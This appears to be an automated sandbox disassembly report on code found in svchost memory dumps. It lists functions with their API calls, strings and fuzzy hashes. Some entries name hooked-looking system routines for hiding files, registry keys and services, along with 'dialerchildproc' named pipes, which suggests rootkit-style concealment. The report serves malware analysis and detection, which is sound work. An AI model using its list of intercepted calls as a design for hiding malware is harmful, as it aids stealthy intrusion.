Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 5c01c19bc0298f85c8339ea94e196dd5b5f1323890ee4be88120aa0ba9bb59bc
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: F0512776A14B8487EB50CFA2E44D35AB7B9F78AF89F094124DA4A27728DF7CC049C741

Function 000002A661301D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000002A661301D1F

Part of subcall function 000002A661301FD4: GetModuleHandleA.KERNEL32 ref: 000002A661301FEC
Part of subcall function 000002A661301FD4: GetProcAddress.KERNEL32 ref: 000002A661301FFD

Part of subcall function 000002A661305B30: GetCurrentThreadId.KERNEL32 ref: 000002A661305B6B

Strings

NtQuerySystemInformation, xrefs: 000002A661301D45
ntdll.dll, xrefs: 000002A661301D2D
NtQueryDirectoryFile, xrefs: 000002A661301D7F
NtEnumerateValueKey, xrefs: 000002A661301DD6
sechost.dll, xrefs: 000002A661301E39
advapi32.dll, xrefs: 000002A661301DF7, 000002A661301E18
EnumServiceGroupW, xrefs: 000002A661301DF0
NtResumeThread, xrefs: 000002A661301D62
NtEnumerateKey, xrefs: 000002A661301DB9
EnumServicesStatusExW, xrefs: 000002A661301E11, 000002A661301E32
NtQueryDirectoryFileEx, xrefs: 000002A661301D9C
NtDeviceIoControlFile, xrefs: 000002A661301E56

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 147c2e2ec541b53145e726b289546c28288565d736413d3e5244b9f1f05d4738
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 8A31A064B10A5AA3EA04EBA5ED5E6D423A9B717F49F8C4113940B331659F3CC24DC3D2

Function 000002A6612D6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002A6612D6938
__scrt_acquire_startup_lock.LIBCMT ref: 000002A6612D698A
_RTC_Initialize.LIBCMT ref: 000002A6612D69B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002A6612D69DE
__scrt_release_startup_lock.LIBCMT ref: 000002A6612D6A09

Strings

`eh vector copy constructor iterator', xrefs: 000002A6612D6A3B
`eh vector vbase copy constructor iterator', xrefs: 000002A6612D69EE
scriptor', xrefs: 000002A6612D6B39, 000002A6612D6BB2, 000002A6612D6BEC
`dynamic initializer for ', xrefs: 000002A6612D69C7

Memory Dump Source

Source File: 00000020.00000002.3089296987.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a6612d0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: e87bf346922b52b2af9168f1f418e053012b6a09ee5fcf7955fafdcfd6fac762
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 0D81CE21F106818BFA54AB66D48D399329DAF87F80F5C8125DA4987796EF3CC9CD8703

Function 000002A66130CE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000002A66130CE37
FlsGetValue.KERNEL32(?,?,?,000002A661310A6B,?,?,?,000002A66131045C,?,?,?,000002A66130C84F), ref: 000002A66130CE4C
FlsSetValue.KERNEL32(?,?,?,000002A661310A6B,?,?,?,000002A66131045C,?,?,?,000002A66130C84F), ref: 000002A66130CE6D
FlsSetValue.KERNEL32(?,?,?,000002A661310A6B,?,?,?,000002A66131045C,?,?,?,000002A66130C84F), ref: 000002A66130CE9A
FlsSetValue.KERNEL32(?,?,?,000002A661310A6B,?,?,?,000002A66131045C,?,?,?,000002A66130C84F), ref: 000002A66130CEAB
FlsSetValue.KERNEL32(?,?,?,000002A661310A6B,?,?,?,000002A66131045C,?,?,?,000002A66130C84F), ref: 000002A66130CEBC
SetLastError.KERNEL32 ref: 000002A66130CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000002A661310A6B,?,?,?,000002A66131045C,?,?,?,000002A66130C84F), ref: 000002A66130CF0D
FlsSetValue.KERNEL32(?,?,00000001,000002A66130ECCC,?,?,?,?,000002A66130BF9F,?,?,?,?,?,000002A661307AB0), ref: 000002A66130CF2C

Part of subcall function 000002A66130D6CC: HeapAlloc.KERNEL32 ref: 000002A66130D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002A661310A6B,?,?,?,000002A66131045C,?,?,?,000002A66130C84F), ref: 000002A66130CF54

Part of subcall function 000002A66130D744: HeapFree.KERNEL32 ref: 000002A66130D75A
Part of subcall function 000002A66130D744: GetLastError.KERNEL32 ref: 000002A66130D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002A661310A6B,?,?,?,000002A66131045C,?,?,?,000002A66130C84F), ref: 000002A66130CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002A661310A6B,?,?,?,000002A66131045C,?,?,?,000002A66130C84F), ref: 000002A66130CF76

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: a3ebcece3df98fd1e9725f906f8bf8db5f5c64855dc8a79f9fd7b15e885684d0
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 77417420F0128443FA68A735595D36922DD5B47FB2F1C4764A93B376E6DF2C980D8393

Function 000002A661302244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000002A661302259
GetCurrentProcessId.KERNEL32 ref: 000002A661302263

Part of subcall function 000002A661301934: OpenProcess.KERNEL32 ref: 000002A661301952
Part of subcall function 000002A661301934: IsWow64Process.KERNEL32 ref: 000002A661301968
Part of subcall function 000002A661301934: CloseHandle.KERNEL32 ref: 000002A661301983

CreateFileW.KERNEL32 ref: 000002A6613022BC
WriteFile.KERNEL32 ref: 000002A6613022E4
ReadFile.KERNEL32 ref: 000002A661302303
CloseHandle.KERNEL32 ref: 000002A66130230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 000002A66130228C
\\.\pipe\dialerchildproc32, xrefs: 000002A661302293

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 9e913e5ef9d9d4dd90f3ca067dd4efb44e8ac8cefc28dc1332a14b226ca3e093
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 6C213A72B18A9083EB10CB65E54D35A73A4F78ABA5F580215EA5A13AA8CF7CC149CB41

Function 000002A66130A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002A66130A5A1

Part of subcall function 000002A66130B414: __GetUnwindTryBlock.LIBCMT ref: 000002A66130B457
Part of subcall function 000002A66130B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002A66130B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002A66130A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002A66130A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002A66130A9DA

Strings

csm, xrefs: 000002A66130A69C
csm, xrefs: 000002A66130A5BB
csm, xrefs: 000002A66130A622

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: f9dc5a9824cbe41745e6e6afb53450f4abea2dc5f6e99ba2920a5b912b4b268f
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: AEE19F72B047448BEB20DF25A44C39D7BE8F746B99F084115DE8A67BA5CF38C189C782

Function 000002A6612D9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002A6612D99A1

Part of subcall function 000002A6612DA814: __GetUnwindTryBlock.LIBCMT ref: 000002A6612DA857
Part of subcall function 000002A6612DA814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002A6612DA87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002A6612D9A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002A6612D9CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002A6612D9DDA

Strings

csm, xrefs: 000002A6612D9A9C
csm, xrefs: 000002A6612D99BB
csm, xrefs: 000002A6612D9A22

Memory Dump Source

Source File: 00000020.00000002.3089296987.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a6612d0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 681959dd6542599d6789764f186a42efd8a6d505218f830932f82b8ebb8010d4
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: C1E17C32F04B808BEB609B65D45839D77ACFB56B98F181115EE8957B99CF38C0E9C702

Function 000002A66130F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 000002A66130F510
GetProcAddress.KERNEL32 ref: 000002A66130F51C

Strings

ext-ms-, xrefs: 000002A66130F46D
api-ms-, xrefs: 000002A66130F45A

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: fa6adfc857896f79626ba7455a121a59232fbacac11bf9aa969e94737a29d1b3
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 2241E122B15A0083EA16DB56A80C75533DDBB46FE1F0E41259D0BB7784EF3CC44D838A

Function 000002A66130104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002A6613010B1
RegEnumValueW.ADVAPI32 ref: 000002A661301117
GetProcessHeap.KERNEL32 ref: 000002A66130115A
HeapAlloc.KERNEL32 ref: 000002A661301168
GetProcessHeap.KERNEL32 ref: 000002A661301185
HeapFree.KERNEL32 ref: 000002A661301193

Strings

d, xrefs: 000002A6613010D6

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 29549edc3a05bb9f30fb41ffd792d5d1f480f0e7d2fd4d10c68227b69ff2f9b1
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 2B418B72614B80C7E764CF61E44839A77B5F389F89F488129DA8A17B58DF3CC489CB41

Function 000002A66130D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000002A66130C7DE,?,?,?,?,?,?,?,?,000002A66130CF9D,?,?,00000001), ref: 000002A66130D087
FlsSetValue.KERNEL32(?,?,?,000002A66130C7DE,?,?,?,?,?,?,?,?,000002A66130CF9D,?,?,00000001), ref: 000002A66130D0A6
FlsSetValue.KERNEL32(?,?,?,000002A66130C7DE,?,?,?,?,?,?,?,?,000002A66130CF9D,?,?,00000001), ref: 000002A66130D0CE
FlsSetValue.KERNEL32(?,?,?,000002A66130C7DE,?,?,?,?,?,?,?,?,000002A66130CF9D,?,?,00000001), ref: 000002A66130D0DF
FlsSetValue.KERNEL32(?,?,?,000002A66130C7DE,?,?,?,?,?,?,?,?,000002A66130CF9D,?,?,00000001), ref: 000002A66130D0F0

Strings

Y%, xrefs: 000002A66130D0A6
1%, xrefs: 000002A66130D0CE

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: bc4377a1b8938ee1d589c6b188f15fe87120af383a10576ee3c01281e8991c6e
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: F2118620F0428443FA68A735595D36962DD5B46FF1F1C4324993B277DADF2CC40A8686

Function 000002A661307510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002A661307538
__scrt_acquire_startup_lock.LIBCMT ref: 000002A66130758A
_RTC_Initialize.LIBCMT ref: 000002A6613075B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002A6613075DE
__scrt_release_startup_lock.LIBCMT ref: 000002A661307609

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 94d9e67a34e61d90d8dc91a526529cd9d217a7a82295564c3aa49440afe65ca8
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 79810230F0064187FA50AB69984D39966ECAB87F82F1C44249A8B73396DF3DC84D8783

Function 000002A661309DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000002A661309E49
GetLastError.KERNEL32 ref: 000002A661309E57
LoadLibraryExW.KERNEL32 ref: 000002A661309E81
FreeLibrary.KERNEL32 ref: 000002A661309EC7
GetProcAddress.KERNEL32 ref: 000002A661309ED3

Strings

api-ms-, xrefs: 000002A661309E69

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 50e13fa17c3bf59197d400e801c98b0be272adff0d23520052f25ab3404dd5bc
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 3F319021B12A40A3EE11DF46A80C76562DCB74AFA1F5D05259D1F6B790DF3DC849C392

Function 000002A661313DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000002A661313DE5
GetLastError.KERNEL32 ref: 000002A661313DF1
CloseHandle.KERNEL32 ref: 000002A661313E09
CreateFileW.KERNEL32 ref: 000002A661313E34
WriteConsoleW.KERNEL32 ref: 000002A661313E53

Strings

CONOUT$, xrefs: 000002A661313E15

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: ff65df3e6d8c9de4419cb773b33199b337b810cada23280e1cd4933ea371c746
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 8A116D32B14B8087E7509B52E84D31976B8F78AFE4F084224EA5F97794CF7CC8188781

Function 000002A661303790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000002A66130379E
GetCurrentProcess.KERNEL32 ref: 000002A6613037CC
VirtualProtectEx.KERNEL32 ref: 000002A6613037EE
GetCurrentProcess.KERNEL32 ref: 000002A661303809
VirtualProtectEx.KERNEL32 ref: 000002A66130382A

Strings

wr, xrefs: 000002A6613037FF

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 025d1bc40c232432275dae4ecc1318edf57f0e1ebcf64f5229914e418f725714
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: F8115B76B04B8187EF149B62E40C66976B8FB8AF85F480029DE8E17794EF3DC609C705

Function 000002A661305B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002A661305B6B
GetThreadContext.KERNEL32 ref: 000002A661305CD5

Part of subcall function 000002A661305960: GetCurrentThreadId.KERNEL32 ref: 000002A661305964

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 5f5900bbcb72c6ae03449aabeaeaebc51276a3d35255987f9de81e93377eb069
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: 3BD1B836604B8882EA70DB0AE49835A77F4F389F85F144216EACE57BA5CF3DC545CB81

Function 000002A661302F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002A661302F27
HeapAlloc.KERNEL32 ref: 000002A661302F3A
StrCmpNIW.SHLWAPI ref: 000002A661302FAF
GetProcessHeap.KERNEL32 ref: 000002A661303015
HeapFree.KERNEL32 ref: 000002A661303023

Strings

dialer, xrefs: 000002A661302FA8

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 0dbaea95a655bbe900e3289c597c93d81e3b199630ae2b61a37e5e2c9be7583f
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: AA31BF32B01B5183EA10DF66A64C76A67E8FB46FC5F0C40249E4A17B55EF3CC4A98381

Function 000002A66130CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000002A66130CFAF
FlsSetValue.KERNEL32(?,?,?,000002A66130D6B5,?,?,?,?,000002A66130D778), ref: 000002A66130CFE5
FlsSetValue.KERNEL32(?,?,?,000002A66130D6B5,?,?,?,?,000002A66130D778), ref: 000002A66130D012
FlsSetValue.KERNEL32(?,?,?,000002A66130D6B5,?,?,?,?,000002A66130D778), ref: 000002A66130D023
FlsSetValue.KERNEL32(?,?,?,000002A66130D6B5,?,?,?,?,000002A66130D778), ref: 000002A66130D034
SetLastError.KERNEL32 ref: 000002A66130D04F

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 0c3f37101a929da6b2ab2e1659a4edb589a4527edbf683f148d599b530f189ca
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: A4116020B0028443FA64A7315A5D72962DE6B86FF1F1C4724A937676D6DF6C84098783

Function 000002A66130199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000002A6613019C2
K32GetModuleFileNameExW.KERNEL32 ref: 000002A6613019E0
PathFindFileNameW.SHLWAPI ref: 000002A6613019EF
lstrlenW.KERNEL32 ref: 000002A6613019FB
StrCpyW.SHLWAPI ref: 000002A661301A0E
CloseHandle.KERNEL32 ref: 000002A661301A1C

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 471f3759c9f5d2bef42bfea3fd4cb3963e2dd95c959e6c4d1128e52080657580
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: C4015771B00A8083EA50DB92A85C35AA3A9F789FC5F884035DE8A63764DF7CC98DC741

Function 000002A6613036C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000002A6613036E4
GetCurrentProcess.KERNEL32 ref: 000002A6613036F2
VirtualProtectEx.KERNEL32 ref: 000002A661303714
GetCurrentProcess.KERNEL32 ref: 000002A661303732
VirtualProtectEx.KERNEL32 ref: 000002A661303753
TerminateThread.KERNEL32 ref: 000002A661303762

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 79ca0cd446847db94c87b220a4133f292dc0ecc6b103301cedece9ec62c6ad04
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: B8011BB5B15B8087EB249B62E80D71972B8BB46F86F080424CA4A27754EF7DC50CC742

Function 000002A661309005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A661309013
_IsNonwritableInCurrentImage.LIBCMT ref: 000002A6613090A8
RtlUnwindEx.NTDLL ref: 000002A6613090F7

Strings

csm, xrefs: 000002A66130908E
f, xrefs: 000002A661309026

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 077875c1ecc3ba653c40cf27df437926aa55189474758356bf14258b29207a20
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: AC517C32B0160087EB18DF15E84CB5937DAF346F99F198528DA5B63788EF79C849C782

Function 000002A661308FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A661309013
_IsNonwritableInCurrentImage.LIBCMT ref: 000002A6613090A8
RtlUnwindEx.NTDLL ref: 000002A6613090F7

Strings

csm, xrefs: 000002A66130908E
f, xrefs: 000002A661309026

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
